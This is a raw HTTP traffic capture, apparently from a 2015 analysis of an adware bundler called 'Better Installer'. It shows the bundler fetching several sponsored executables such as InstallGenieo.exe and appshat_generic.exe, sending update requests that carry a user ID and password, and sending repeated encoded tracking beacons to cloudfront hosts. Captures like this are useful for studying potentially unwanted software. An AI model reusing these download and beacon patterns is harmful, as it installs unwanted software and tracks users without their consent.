Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:54:23 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=da388496208175140f5dd4f54f9eea89d1420692862; expires=Fri, 08-Jan-16 04:54:22 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"4080b2dd5bedaed6ddf546bf9bc4e2eb57cca38d"

Cache-Control: public, max-age=14400

CF-Cache-Status: MISS

Expires: Thu, 08 Jan 2015 08:54:23 GMT

Server: cloudflare-nginx

CF-RAY: 1a55cbf9411415a7-FRA

Content-Encoding: gzip
bcf..............ks.6..~....T$....mU..u..$..&..|>.DB.c.....u..ow...
(9I../7.. .o..v...e.E2.....K.,.I.8..]'%.c...Y..,..$[..y.D.....-/d&.6g.
......?:~19.gD..z2g..h[.4.....V...'.e......ezrSn.].N.....<..M..M...
.''..........8..x.-.{.....e....c...U..y...0/N'^.).......5..M.*...._e.X
&..}P............D..1.........Q.o.I&E..t.H..J...... ..s......e^l..O.x2
?==:..m5....2.[.|f...?(.$.......d.D$?DE...%~..b...:..{.......=..@....,
N..|..,\.<.J.R.1....U*fK..E._.."..<E...;..s........4f..JV.A.d.-.
.!.X......h..n..d [email protected]!JY$..1..N......^@.../...Z2....&ZM
... a....=9..o........G[.......4..p_..., ......J......4..O7.....5B~...
..P...G...t2..<[U.,....2.x....".Zn0..<.6"..z.6.... ..>..7.X.X
...P2q.~......C^so..../E0..c.C.<oQxg..J..8Nh,J..o./..~.8.8..Cos[.x.
 h...0.Ctz..UE....97jAts4...f..&,.i.....f.o..).9....(..J....,.Z.....Ua
L...wK...Wm..6..!.f.:Yq..4..n.......J......au...>..YV..y..T...h....
...?..K.v4.^R>6.Wm._d.s.>...~..FF4..3"...........v..2...#.....G.
./%$...x....!.....O..08....DX<M...L.. AXe.F.E.......o."._..4.....hs
...4.\....Ww...o|.....QZd......n..6..(.K...z.c..................9.1..{
.j2.tY.R.$0.....B.3.j..d.......g...d.....k^....`!...E.....0.....:....1
...T.Ce|....xEd..3....o..gwL& .\.B0.. .........X.~.cI.Y..`....-.5@,n.Y
........M5....!YT.w.....Qt..?F.......7-.f3>..q.C.h...b.....Q.......
....,.,....ZS.C..G.....m%..mw.... ...v..<..k........H..yZ.....]9d[.
j. .9)jo.....]..5...o`....0....\.O.S.......D..u.~ X.......C.08.g@`[email protected]
..........e.~.QQ..h.<..{..t......M..Yn....ys.~k.......B2...w,..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=123551-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: jdZ4449YoQDBbPJ8wCtbLfAxVo7HNpJnLGi7e8BH8dk7uXRhxGX62ZclkBPIzKCg

x-amz-request-id: 78DA098C1C90A2C0

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 123551-988407/988408

Content-Type: application/octet-stream

Content-Length: 864857

Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Yoe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..
3M.d..}1....}.X;[..f?o.h..W...[N..Q.P.JI...fc...E..bkhW.;&.f..........
AY.p...t.....3UP.^-'G..7.e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX
.......[Tz1.k..n.QD.....>F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL....
..8.;h.w.g...Q.{q..B..f4.O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O
...[)(.lA.zC...b}..P.S.X..o....Z..0.....Y.$....mu..C...J..p....I.s~z..
Kr...Y..c:....Y..a.....z%. 7L...8t^..w..d..df...Yt...9.......Ru...<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1420692778&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=jz1e1q45ikgezlf1wzoex5uz


HTTP/1.1 200 OK

Connection: close

Date: Thu, 08 Jan 2015 04:53:18 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 100546
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 e5c6a45cefc4c1d8e59eda29bdf1ce79.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kimZlrLSWZX1TDDno7vx2gfqFONg_yj1G5QoakGLL0zrEJU10tHcHg==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=2&index_in_screen=1&index_in_session=2&display_height=137&0.07568601095528388 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:21 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:21 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /p.ashx?e=hXeqmv1IpemgBgKVQb1/X71yLlvxP1mXpL1q0D3vvXT8ln8Iap23//2TEkHeJNDUNLVXkHqu5msdlItDucQRpNQoCJasmvuZd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyobLZ4ZHHnwlV4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4HML8vbit1m178uRNc8Fj5ZoeSEnKomH2U3q0cibbLkUiJnh_iVmwQ==

....

GET /p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMD2EmqgkTvADzP/J5k34FsIKYX3Ti/i3YNpW1wvQ8waSPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLNH39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR9k3ly07joAI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5AydO2RetNCuZ3COEEM3CKfMXNx-kI0yTWBqfja4i1ZlBBgne-iScA==

....

GET /p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMCzhm0AeRIUo44G r 3F6T7o ZAytpZ9B/ewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4gqhU/KMtaaY94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EihqupwxSMzdGdQOW3IrbIQeXu0zlzUNcWIcZd49AAFa3KbGnOff7Q==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUb9PKObAHk8Ms IILilpWF3L95ytGxurmx7yxagmX1ikbxkEeDXhjVSM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2ln0iKn_yvPeoqbNtFpxMgpyNwo7VdgmHAJFI8m7SQKcR8A8G8VeRQ==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUTz0zfD6NQ4eEwAaRG2pHiUPesst1ukiDjOJGv9qSLCFMXL1aGIyEdEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtyL/BUHI2zSk5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyfNCasEWnSMNQ= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ydshDM6AlX0tFpfbi6F1alWzxr607kNHgXljIdKnM62x984FQA99gg==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUVDwWd9hvLDxFAL52sIXt4W2YWUR1tLs3D3ZLnbsoZ9zjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DuGmG2CMrwhT7xgovKpSdGFaHcEdbEeTs5R8BtTiJ7jsIYBu4BT9ow==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQ5Mtw6p9U5dKYX3Ti/i3YOb87aptZLNDMXmaVWxukFWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uk8R-hCFVCkrXZ8o36b1kCw7E4vMD1F24UCm0pSNvLIXvNTlnDO0GQ==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qsSLi3xPUDrg3COASNyEO1YcI/DbFTcDZCM6pyXYGFWeKsTpSfL1xwXNTcqOvx0cY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OVFU1c489r0uh4J6XfS3yh4Dmy7y6EGhUb6vKG3CZrT2pyfZ_GMlDw==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUav9x4TEPS62BPEhRyyBD7DR614fwrEG1qQdf661A7a3sYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvarEi4t8T1A64NwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccFzU3Kjr8dHG HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: F3_GTzy3KBvGOxjKFWCw8NeHiil6f05tYElmxPR8bSS1B0BscyYuww==

....

GET /p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUQ2yDM6d7piii11NaYYxcNku1SXIq07tJg ABjx4/MVnPaT JG0G pNnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpCokPsAPLuaJCK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHAIttUHgTwN HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9869723f5e01c68981d50cd8c20c49a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fh7YlTuqOBE1q58J1qnOvgMBUEWXJzbB2Y_8qt250mFKETtqQDZyqw==

....

GET /p.ashx?e=b1dRW7RxYKdJjQ9qCj/Wvb1yLlvxP1mXJOu5 HUVZsT8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRT HVRdEeWb5CK7kPkUQaoNVdtA/JNyEPlFQ6xnBe9RHnWDkJAOjHwSOrYhj46XfQLNL0WD0u6ZtibwvUuW8P1Lzo9K2u FFEbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXe2kHzAFrfmG0bgqzDLDp402M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qxIuLfE9QOuDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBc1Nyo6/HRxg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

